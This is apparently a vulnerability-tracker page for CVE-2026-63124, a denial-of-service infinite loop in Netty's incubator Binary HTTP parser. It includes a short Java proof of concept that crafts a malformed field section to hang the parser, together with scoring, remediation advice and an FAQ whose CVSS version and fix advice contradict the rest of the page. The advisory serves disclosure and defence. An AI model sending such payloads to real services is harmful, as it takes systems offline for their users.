CVE-2026-63124

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 7.5Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary

Summary

io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer that can send Binary HTTP input to a Netty pipeline using BinaryHttpParser / BinaryHttpDecoder can use a tiny malformed request or response to keep the parsing thread busy indefinitely, causing denial of service.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, readFieldSection(...) tracks the remaining field-section length in fieldSectionLength, then repeatedly calls readFieldLine(...) until the length reaches zero:

  • readFieldSection(...) parses the known-length field section and enters while (fieldSectionLength != 0) at BinaryHttpParser.java:619.
  • Inside the loop, it records readableBytes, calls readFieldLine(...), computes read = readableBytes - in.readableBytes(), asserts read > 0, and subtracts read from fieldSectionLength at BinaryHttpParser.java:620-625.
  • readFieldLine(...) returns null without consuming bytes when the field line ends exactly at the end of the readable slice because it uses if (sumBytes >= in.readableBytes()) return null after adding the value length (BinaryHttpParser.java:678-681).
  • With JVM assertions disabled (the production default), assert read > 0 is not active. The parser therefore subtracts zero forever and never returns.

The boundary condition is reachable with a valid known-length field section containing exactly one complete field line and no extra byte after that line. Example field section: length 4, then name length 1, name a, value length 1, value b.

Proof of concept

Safe local verification performed in this repository:

  • Compile the module and classpath:

./mvnw -q -pl codec-bhttp -am compile test-compile
./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt
printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt
  • Compile and run this minimal verifier with production-style assertions disabled:

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang { private static void writeAscii(ByteBuf out, String value) { VarIntCodecUtils.writeVariableLengthInteger(out, value.length()); out.writeCharSequence(value, StandardCharsets.US_ASCII); } public static void main(String[] args) { ByteBuf buffer = Unpooled.buffer(); VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request writeAscii(buffer, "GET"); writeAscii(buffer, "https"); writeAscii(buffer, "example.com"); writeAscii(buffer, "/"); VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length writeAscii(buffer, "a"); writeAscii(buffer, "b"); new BinaryHttpParser(8192).parse(buffer, false); System.out.println("returned"); } }

Execution result observed locally:

timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang
exit=124

Exit code 124 from timeout confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at BinaryHttpParser.java:622 (assert read > 0), confirming the non-progress condition.

Impact

A peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.

Suggested remediation

  • Treat readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) instead of continuing.
  • Replace boundary checks in readFieldLine(...) that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted.
  • Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress.
  • Add regression tests with JVM assertions disabled for known-length header and trailer field sections that end exactly at the field-section boundary.

References

  • codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625
  • codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681
  • RFC 9292: Binary Representation of HTTP Messages

CVSS v3
7.5
EG Score
7.5(low)
EG Risk
38(Track)
EG Risk 38/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

August 20, 2026

Last Modified

August 20, 2026

Vendor Advisories for CVE-2026-63124(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-08-20 19:42 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-63124?
CVE-2026-63124 is a high vulnerability published on August 20, 2026. netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary Summary io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer…
When was CVE-2026-63124 disclosed?
CVE-2026-63124 was first published in the National Vulnerability Database on August 20, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-63124?
CVE-2026-63124 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-63124?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-63124, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

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